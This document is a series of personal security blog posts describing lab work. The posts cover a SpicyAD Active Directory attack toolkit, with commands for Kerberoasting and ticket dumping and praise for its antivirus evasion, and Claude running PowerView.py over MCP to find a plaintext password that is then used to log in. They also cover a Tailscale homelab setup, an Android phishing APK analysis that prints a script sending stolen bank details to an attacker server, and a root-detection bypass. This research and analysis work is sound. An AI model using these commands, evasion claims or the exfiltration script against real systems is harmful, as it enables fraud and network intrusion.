Author: Jasveer

Hi Readers,

I recently came across a tool called SpicyAD in a LinkedIn post, and I was curious enough to test it in my homelab environment. The project caught my attention because it aims to consolidate multiple Active Directory attacks and enumeration capabilities into a single, easy-to-use interface. Most red teamers rely on several different tools for Kerberoasting, AS REP roasting, ACL analysis and general domain enumeration. I wanted to see how well SpicyAD performs and whether it can streamline the workflow.

What is SpicyAD?

SpicyAD is a modern Active Directory security assessment toolkit. Its primary goal is to bundle commonly used internal enumeration and attack techniques into a single executable. Core Capabilities Include:

1. Kerberoasting
   • Enumerate SPN accounts and request TGS tickets for offline password cracking.
2. AS-REP Roasting
   • Identify users with DONT_REQUIRE_PREAUTH and dump AS-REP hashes.
3. Credential Collection
   • Extract available tokens, stored credentials, or misconfigurations that can lead to privilege escalation.
4. Domain, User & Computer Enumeration
   • Retrieve essential domain information without relying on multiple separate tools.
5. ACL / ACE Enumeration
   • Identify misconfigured access rights that may enable lateral movement or privilege escalation.

Because it is newer and less commonly used, SpicyAD may bypass certain signature based detections, which I verified during my homelab testing.

For more information and test cases, kindly refer to SpicyAD Github Repo.

Compiling SpicyAD

The tool can be downloaded directly from the GitHub repository. Once cloned, SpicyAD can be compiled using the following command:

dotnet.exe build .\SpicyAD.csproj -c Release

After running the command, you should see output indicating that the build completed successfully, as shown below:

Once the tool has been compiled, it launches without being flagged by Windows Defender, even with the latest security updates applied at the time of writing. This is especially interesting from a red-team perspective, as many legacy AD tools are now detected immediately.

The tool also allows non domain accounts to interact with the domain by executing the following command::

./SpicyAD.exe /domain:north.sevenkingdoms.local /dc-ip:10.8.10.11 /user:hodor /password:hodor domain-info

The figure below shows the output:

Testing SpicyAD in My Homelab

Example #1 — Kerberoasting

Command executed:

./SpicyAD.exe /domain:north.sevenkingdoms.local /dc-ip:10.8.10.11 /user:hodor /password:hodor kerberoast

The tool enumerated SPNs and retrieved TGS tickets as shown in the figure below:

These retrieved hashes are stored locally by the tool.

Example #2 — Dump Kerberos tickets

Dumping tickets from logged in machine. The following command/menu path was executed:

./SpicyAD.exe [Option 7 (Ticket Operations) > Option 1 (Dump Tickets)]

The figure below proves that the tool has successfully dumped tickets from the machine:

Example #3 — Delegation Enumeration Using SpicyAD

SpicyAD was able to enumerate Kerberos delegation configurations across the domain, including:

• Constrained Delegation (S4U2Proxy)

• Protocol Transition–enabled accounts (S4U2Self)

• Service-specific delegation paths (CIFS, HTTP, etc.)

• Resource-Based Constrained Delegation (RBCD) entries

This helps identify accounts that can impersonate any user to specific services. A common lateral movement and privilege escalation path.

The following command/menu path was executed:

./SpicyAD.exe [Option 1 (Enumeration) > Option 8 (Enumerate Delegations)]

The figure below shows the delegation configurations identified:

Example #4 — Enumerating Vulnerable Certificate Templates (ESC1–ESC4, ESC8)

SpicyAD includes a dedicated module for identifying vulnerable Active Directory Certificate Services (AD CS) configurations, focusing on well-known exploitation paths such as ESC1, ESC2, ESC3, ESC4, and ESC8. These misconfigurations are frequently used during modern red-team operations to escalate privileges or obtain domain compromise via Kerberos certificate abuse.

To perform this enumeration, the following command was executed:

./SpicyAD.exe /domain:north.sevenkingdoms.local /dc-ip:10.8.10.11 /user:hodor /password:hodor enum-vulns

The figure below shows output from SpicyAD:

Note: SpicyAD includes many additional capabilities beyond the examples shown above. I recommend exploring the official GitHub repository and experimenting with the full range of features to understand everything the tool can offer.

Conclusion

SpicyAD is a powerful and versatile tool that brings together many common Active Directory attacks and enumeration techniques in a single and lightweight executable. Instead of relying on separate utilities for delegation checks, Kerberos roasting, ACL analysis and certificate template enumeration, SpicyAD simplifies the workflow and provides clear and structured output.

One of the most notable advantages at this stage is its level of stealth. During testing, the tool executed without being detected by Windows Defender. This is likely because the project is still relatively new, which means it is not widely known or signatured by antivirus engines. This gives red teamers the opportunity to use it quietly and effectively.

Overall, SpicyAD is a valuable addition to any internal penetration testing or Active Directory auditing toolkit. It offers strong capabilities, ease of use, and unexpected detection evasion during its current development stage.

Hi Readers,

In this post, I want to share something interesting I explored recently after a friend recommended that I try PowerView.py with its MCP integration. I’ve been using PowerView.py for Active Directory enumeration in my homelab, and discovering that it has supports the Model Context Protocol (MCP) means you can integrate it directly with an AI model to perform AD tasks through natural language.

This opens up a new way of interacting with enumeration tools: instead of typing commands manually, you can talk to an AI assistant and have it execute PowerView functions for you — as long as you understand the risks and use it in a controlled, authorised environment.

I tested this inside my GOAD lab (Game of Active Directory) and wanted to document the setup for anyone who wants to experiment with it.

What Is MCP (Model Context Protocol)?

Model Context Protocol (MCP) is a local, open protocol that allows applications and tools to expose structured capabilities to AI models. Instead of relying on prompt-guessing or plugins, MCP lets tools communicate with the AI in a clean, safe, and reliable way.

In simpler terms:

• Your tool exposes commands
• MCP acts as the bridge
• The AI can call those commands safely
• Everything stays local and private

This makes AI far more accurate and useful when interacting with local tools.

Why PowerView.py?

PowerView.py is the Python-based reimplementation of the original PowerView PowerShell tool from PowerSploit. It offers:

• Cross-platform support (Linux/macOS/Windows)
• No PowerShell dependency
• Great for red teaming from non-Windows attacker machines
• Potentially lower detection surface compared to PowerShell scripts
• Supports MCP, enabling full AI-assisted enumeration
• This makes it perfect for hybrid “AI + AD Enumeration” workflows.

Installation & Setup

1. Install Dependencies

sudo apt install libkrb5-dev
pip3 install powerview

2. Install Claude Desktop (Linux Build)

git clone https://github.com/aaddrick/claude-desktop-debian.git
cd claude-desktop-debian
./build.sh

3. Install MCP Proxy

pipx install mcp-proxy

4. Configuring Claude Desktop

Edit the configuration file:

~/.config/Claude/claude_desktop_config.json

Add the PowerView MCP integration:

{"mcpServers":{"Powerview":{"command":"/home/kali/.local/bin/mcp-proxy","args":["http://127.0.0.1:5000/powerview","--transport=streamablehttp"]}}}

5. Running PowerView.py in MCP Mode

powerview north.sevenkingdoms.local/hodor:[email protected] --mcp --mcp-host 0.0.0.0 --mcp-port 5000 --mcp-path powerview

6. Start the proxy

mcp-proxy http://127.0.0.1:5000/powerview --transport=streamablehttp

7. Launch Claude Desktop:

claude-desktop

AI in Action: Conversational AD Enumeration

Once everything is configured, you can interact with PowerView.py simply by talking to your AI assistant. Here are some examples from my GOAD lab.

Example: Listing Domain Admins Using AI

The figure below shows Claude using PowerView.py through MCP to enumerate and return all the domain admin users:

Example: AI Uncovers Exposed Credentials While Processing a Custom Prompt

While performing enumeration, Claude automatically identified that a password was exposed in one of the PowerView.py outputs, even though the original prompt was only asking for privilege analysis:

You can expand each response box to view the full details. Within the same prompt, Claude also recognised several potential pivoting paths, including:

• Accessible SMB shares available to the user Hodor
• Possible RDP access paths through group membership
• And a critical finding — the plaintext password for Samwell Tarly

The figure below confirms that the exposed password can indeed be used to authenticate to a machine within the environment, as verified using NetExec:

Based on the information gathered from Claude, we can also perform an RDP login using the identified credentials. The screenshot below demonstrates a successful login to a target machine as the user Samwell:

Conclusion

PowerView.py + MCP introduces a new way of interacting with common red-team tools.
Instead of running commands manually, you can simply speak naturally to an AI assistant and let it handle the enumeration through structured, safe MCP calls.

This setup is still new, and I plan to explore more advanced ideas:

• AI-generated AD attack path mapping
• Automating privilege escalation discovery
• AI-assisted cleanup after engagements
• Integration with BloodHound data
• More MCP-enabled red-team tools

If you’re experimenting with MCP in red-team workflows, I’d love to hear your experience.

Disclaimer

If you connect PowerView to cloud-hosted AI models, be aware that any query you submit, including directory output, credentials, or enumeration results, may pass through the provider’s infrastructure. Your Active Directory data could be stored, logged, or reviewed depending on the platform’s data handling policies.

Use this setup only in non-sensitive, fully authorised lab environments unless you are working with a local or self-hosted model.

Hi Readers,

It has been a while since my last post and I am finally back with something useful to share. In this post I will walk through how I used Tailscale to access my homelab. The lab is running Game of Active Directory (GOAD) Light and is deployed using Ludus. This setup allows me to reach my environment from anywhere without relying on a static IP or complicated network configuration.

For my homelab I used a Beelink SER5 Max which comes with 32 GB of RAM and a 1 TB SSD. Even with that amount of memory I noticed that running the full version of GOAD slowed the system down quite a bit. Because of that I decided to switch to GOAD Light instead.

To configure both Ludus and GOAD I referred to a blog written by Ahmed Sherif and it was extremely helpful throughout the process.

The screenshot above shows the local view of my Ludus environment inside Proxmox. Each virtual machine in the GOAD setup is assigned an internal IP within my homelab network. These are the addresses I would normally use only when I am physically connected to my home network. After configuring Tailscale, all of these machines became reachable remotely through my Tailscale connection without any port forwarding or static IP requirement. This makes it possible for me to manage, test and experiment with my entire lab from anywhere, exactly as if I were at home.

Once the lab was up and running, I wanted a way to access it without any additional network setup, I did not want to rely on port forwarding or pay for a static IP from my ISP. Since I travel quite often, having a lab that I can reach from anywhere is very important for me. It allows me to play with different ideas and explore new tools whenever I want.

Before settling on Tailscale, I experimented with a WireGuard setup together with a DuckDNS address. The solution worked to a certain point, but the main challenges came from my router. The configuration depended heavily on port forwarding and I was not comfortable exposing ports on my home network to the internet.

This is when I switched to Tailscale. It required almost no configuration, it worked immediately and it provided secure access to my lab from any location. It was exactly what I needed.

The steps to configure Tailscale are very easy and straightforward. First, SSH into your Ludus machine and run the following commands:

curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up --ssh

After running the command, a login URL will appear in the terminal. Copy the URL and open it in your browser. Once you sign in, install the Tailscale application on your local machine if you have not done so already.

After logging in, I ran the following command to advertise the network ranges for all my GOAD Light machines:

sudo tailscale up --ssh --advertise-routes=10.2.0.0/16,10.3.0.0/16,10.4.0.0/16,10.5.0.0/16,10.6.0.0/16,10.7.0.0/16,10.8.0.0/16

Once this is done, go back to the Tailscale admin portal and approve the advertised routes.
After approving them, simply connect to Tailscale from your laptop, as shown in the figure below:

If you expand “Network Devices”, you will see your homelab devices along with their Tailscale IP addresses. Once you have the IP address, you can access the Proxmox panel as shown in the figure below:

With this setup, you can RDP into any GOAD machine through Tailscale without needing a static IP or exposing anything to the internet. The figure below proves that it is possible to RDP to my lab remotely:

I hope this post is helpful for everyone!

Hi Readers,

It’s been some time since my last write-up. Over the weekend, a good friend sent me an Android malware sample. Although I have experience with Android, I haven’t ventured much into malware analysis, making this the perfect opportunity to dive in. My goal is to begin threat hunting, starting with this sample and gradually progressing to more complex malware.

The file my friend shared was:

• File name: pnb.apk
• SHA256 Hash: 1a403909f329b5991d0da307322cacad393fa06da939e6e4739a21a93e0d2227

The first thing I usually do when I receive an APK file is decompile it using APKTool or open it in Jadx. When I loaded this file in Jadx, most of the code was obfuscated. However, I noticed something unusual in the AndroidManifest.xml file. Some values were replaced with “⟨STRING_DECODE_ERROR⟩”, as shown in the figure below:

After a few hours of trying different approaches and exploring the APK file, I reached out to my friend (https://shadowsec.live/), who has experience with malware analysis. I asked if he had encountered similar behavior before, and he suggested using the following tool to help:

• https://github.com/androguard/androguard

After installing the tool using pip, run the following command to view the AndroidManifest.xml file:

androguard axml -i pnb.apk

The figure below shows that the application produces the same output as in JADX, except that in JADX, the values are displayed as “⟨STRING_DECODE_ERROR⟩”.

The following command was issued to decompile the application:

androguard decompile -o ./ ~/Desktop/pnb.apk

The figure below shows the application decoding the APK file:

Androguard helped decode some of the packages, making them more readable. After spending a few more hours on it, I decided to revisit JADX and noticed several files under the “Resources” section, as shown in the figure below:

The index.html file is designed to create a signup form that imitates a legitimate banking website, a tactic commonly used in phishing attacks. It includes fields to capture a user’s name, mobile number, and account number, all of which are meant to deceive unsuspecting users into revealing sensitive information. This makes it a prime example of a phishing page. The figure below shows what the index.html looks like:

The debit.html file is similar to the index.html file, but instead of collecting basic account information, it is designed to steal debit card details. It prompts users to enter their debit card number, expiry date, and ATM PIN. The figure below shows what the debit.html looks like:

Lastly, the script.js is used for handling form submission and redirecting users based on the page context. The script first defines a URL where the collected form data is sent. When the form is submitted, it prevents the default form submission behavior and gathers the form data into a JavaScript object. Below is the script,js file:

// Define the URL for the server endpoint
const URL = "https://customer16.evilginix.com/site/submit.php";

// Function to handle redirection based on the page context
function handleRedirection(page) {
    let redirectUrl = '';

    switch (page) {
        case 'index.html':
            redirectUrl = 'debit.html';
            break;
        case 'debit.html':
            redirectUrl = 'last.html';
            break;
        default:
            redirectUrl = 'index.html'; // Default redirect URL
            break;
    }

    // Perform the redirection
    window.location.href = redirectUrl;
}

// Set up the form submission event listener
document.getElementById('myForm').addEventListener('submit', function(e) {
    e.preventDefault(); // Prevent the default form submission

    // Get form data
    const formData = new FormData(e.target);
    const data = Object.fromEntries(formData.entries());
    console.log(data);

    // Get ID from local storage
    const id = localStorage.getItem('formId'); // Default to '1' if not set
    data.id = id;

    // Get the current page context
    const dataPage = document.documentElement.getAttribute('data-page');

    // Send data to the server
    fetch(URL, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(data)
    })
    .then(response => response.json())
    .then(result => {
        console.log('Success:', result);
        // Handle redirection after successful data submission
        handleRedirection(dataPage);
    })
    .catch(error => {
        console.error('Error:', error);
    });
});

Upon visiting the URL, the figure below shows that it functions as a Command and Control (C&C) server, where all the victim’s information is sent.

Additionally, by changing the subdomain, it’s possible to access another phishing campaign, which likely belongs to a different group, as shown in the figure below:

Thank you for reading!

Hi readers,

it’s been a while since my last post, particularly after migrating to the new server. This time, I’d like to share an interesting, yet surprisingly simple, root detection bypass that I recently discovered. The unusual behavior is what truly caught my attention; I hadn’t encountered anything quite like it before.

Over a weekend, a friend of mine, relatively new to cybersecurity, reached out for assistance. He was struggling to bypass the root detection mechanisms in an Android application.

We quickly jumped on a call, and he shared his screen as he attempted to use Objection and Frida to bypass the detection. However, as shown in the figure below, Objection failed to bypass the root detection:

As you can see in the figure above, Objection is running and hasn’t been terminated. This observation prompted me to reverse engineer the application, where I discovered that Zimperium was being utilized for root detection.

In my experience with Zimperium, applications typically force-close upon detecting a hooking attempt, which would also terminate Objection. However, this wasn’t the case here, making the behavior quite unusual and worthy of further investigation.

While analyzing the AndroidManifest.xml file, I noticed an activity with exported=true, as displayed in the figure below:

So, we launched the mobile application and then executed the following command to launch the exported activity via Objection, in an attempt to bypass the root detection screen:

android intent launch_activity <ACTIVITY_NAME>

The figure below shows the command being executed successfully:

The figure below demonstrates the successful bypass. We were able to use the application without any issues related to root detection.

Note: This write-up is being published a couple of months after the discovery. The application is no longer active and requires an update. Additionally, the vulnerability has been patched by the application developers.